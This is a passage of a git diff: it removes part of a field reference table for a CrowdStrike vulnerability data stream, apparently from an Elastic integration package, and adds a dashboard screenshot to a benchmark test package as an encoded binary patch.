-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.epoch |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.evr |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.filepath |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.item_type |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.name |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.release |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.subexpression |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.version |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.negate |  | boolean |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.status |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.title |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.type |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.checks |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.data |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.found |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.id |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.match_required |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.negate |  | boolean |
-| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.title |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.updated_timestamp |  | date |
-| crowdstrike.vulnerability.apps.patch_publication_date |  | date |
-| crowdstrike.vulnerability.apps.product_name_normalized |  | keyword |
-| crowdstrike.vulnerability.apps.product_name_version |  | keyword |
-| crowdstrike.vulnerability.apps.remediation.ids |  | keyword |
-| crowdstrike.vulnerability.apps.remediation_info.minimum_id |  | keyword |
-| crowdstrike.vulnerability.apps.remediation_info.patch_publication_date |  | date |
-| crowdstrike.vulnerability.apps.remediation_info.recommended_id |  | keyword |
-| crowdstrike.vulnerability.apps.sub_status |  | keyword |
-| crowdstrike.vulnerability.apps.vendor_normalized |  | keyword |
-| crowdstrike.vulnerability.cid |  | keyword |
-| crowdstrike.vulnerability.closed_timestamp |  | date |
-| crowdstrike.vulnerability.confidence |  | keyword |
-| crowdstrike.vulnerability.created_timestamp |  | date |
-| crowdstrike.vulnerability.cve.actors |  | keyword |
-| crowdstrike.vulnerability.cve.base_score |  | double |
-| crowdstrike.vulnerability.cve.cisa_info.due_date |  | date |
-| crowdstrike.vulnerability.cve.cisa_info.is_cisa_kev |  | boolean |
-| crowdstrike.vulnerability.cve.cwes |  | keyword |
-| crowdstrike.vulnerability.cve.description |  | keyword |
-| crowdstrike.vulnerability.cve.exploit_status |  | long |
-| crowdstrike.vulnerability.cve.exploitability_score |  | double |
-| crowdstrike.vulnerability.cve.exprt_rating |  | keyword |
-| crowdstrike.vulnerability.cve.id |  | keyword |
-| crowdstrike.vulnerability.cve.impact_score |  | double |
-| crowdstrike.vulnerability.cve.name |  | keyword |
-| crowdstrike.vulnerability.cve.published_date |  | date |
-| crowdstrike.vulnerability.cve.references |  | keyword |
-| crowdstrike.vulnerability.cve.remediation_level |  | keyword |
-| crowdstrike.vulnerability.cve.severity |  | keyword |
-| crowdstrike.vulnerability.cve.spotlight_published_date |  | date |
-| crowdstrike.vulnerability.cve.types |  | keyword |
-| crowdstrike.vulnerability.cve.vector |  | keyword |
-| crowdstrike.vulnerability.cve.vendor_advisory |  | keyword |
-| crowdstrike.vulnerability.data_providers.ports |  | long |
-| crowdstrike.vulnerability.data_providers.provider |  | keyword |
-| crowdstrike.vulnerability.data_providers.rating |  | keyword |
-| crowdstrike.vulnerability.data_providers.scan_id |  | keyword |
-| crowdstrike.vulnerability.data_providers.scan_time |  | keyword |
-| crowdstrike.vulnerability.data_providers.scanner_id |  | keyword |
-| crowdstrike.vulnerability.host_info.asset_criticality |  | keyword |
-| crowdstrike.vulnerability.host_info.asset_roles |  | keyword |
-| crowdstrike.vulnerability.host_info.confidence_label |  | keyword |
-| crowdstrike.vulnerability.host_info.groups.id |  | keyword |
-| crowdstrike.vulnerability.host_info.groups.name |  | keyword |
-| crowdstrike.vulnerability.host_info.has_run_container |  | boolean |
-| crowdstrike.vulnerability.host_info.host_last_seen_timestamp |  | date |
-| crowdstrike.vulnerability.host_info.hostname |  | keyword |
-| crowdstrike.vulnerability.host_info.instance_id |  | keyword |
-| crowdstrike.vulnerability.host_info.internet_exposure |  | keyword |
-| crowdstrike.vulnerability.host_info.local_ip |  | ip |
-| crowdstrike.vulnerability.host_info.machine_domain |  | keyword |
-| crowdstrike.vulnerability.host_info.managed_by |  | keyword |
-| crowdstrike.vulnerability.host_info.os_build |  | keyword |
-| crowdstrike.vulnerability.host_info.os_version |  | keyword |
-| crowdstrike.vulnerability.host_info.ou |  | keyword |
-| crowdstrike.vulnerability.host_info.platform |  | keyword |
-| crowdstrike.vulnerability.host_info.product_type_desc |  | keyword |
-| crowdstrike.vulnerability.host_info.service_provider |  | keyword |
-| crowdstrike.vulnerability.host_info.service_provider_account_id |  | keyword |
-| crowdstrike.vulnerability.host_info.site_name |  | keyword |
-| crowdstrike.vulnerability.host_info.subsidiaries |  | keyword |
-| crowdstrike.vulnerability.host_info.system_manufacturer |  | keyword |
-| crowdstrike.vulnerability.host_info.tags |  | keyword |
-| crowdstrike.vulnerability.host_info.third_party_asset_ids |  | keyword |
-| crowdstrike.vulnerability.id |  | keyword |
-| crowdstrike.vulnerability.network_scan.network_scan_info.scan_id |  | keyword |
-| crowdstrike.vulnerability.network_scan.network_scan_info.scan_time |  | keyword |
-| crowdstrike.vulnerability.remediation.entities.action |  | keyword |
-| crowdstrike.vulnerability.remediation.entities.id |  | keyword |
-| crowdstrike.vulnerability.remediation.entities.link |  | keyword |
-| crowdstrike.vulnerability.remediation.entities.patch_publication_date |  | date |
-| crowdstrike.vulnerability.remediation.entities.recommendation_type |  | keyword |
-| crowdstrike.vulnerability.remediation.entities.reference |  | keyword |
-| crowdstrike.vulnerability.remediation.entities.title |  | keyword |
-| crowdstrike.vulnerability.remediation.entities.vendor_url |  | keyword |
-| crowdstrike.vulnerability.remediation.ids |  | keyword |
-| crowdstrike.vulnerability.services.port |  | long |
-| crowdstrike.vulnerability.services.protocol |  | keyword |
-| crowdstrike.vulnerability.services.transport |  | keyword |
-| crowdstrike.vulnerability.status |  | keyword |
-| crowdstrike.vulnerability.suppression_info.is_suppressed |  | boolean |
-| crowdstrike.vulnerability.suppression_info.reason |  | keyword |
-| crowdstrike.vulnerability.updated_timestamp |  | date |
-| crowdstrike.vulnerability.vulnerability_id |  | keyword |
-| data_stream.dataset | Data stream dataset. | constant_keyword |
-| data_stream.namespace | Data stream namespace. | constant_keyword |
-| data_stream.type | Data stream type. | constant_keyword |
-| event.dataset | Event dataset. | constant_keyword |
-| event.module | Event module. | constant_keyword |
-| input.type | Type of filebeat input. | keyword |
-| log.offset | Log offset. | long |
-
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-alert-dashboard.png b/test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-alert-dashboard.png
new file mode 100644
index 0000000000000000000000000000000000000000..d51391a2939b94ca5b8fdb6ef8aebfdd26280f62
GIT binary patch
literal 791493
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
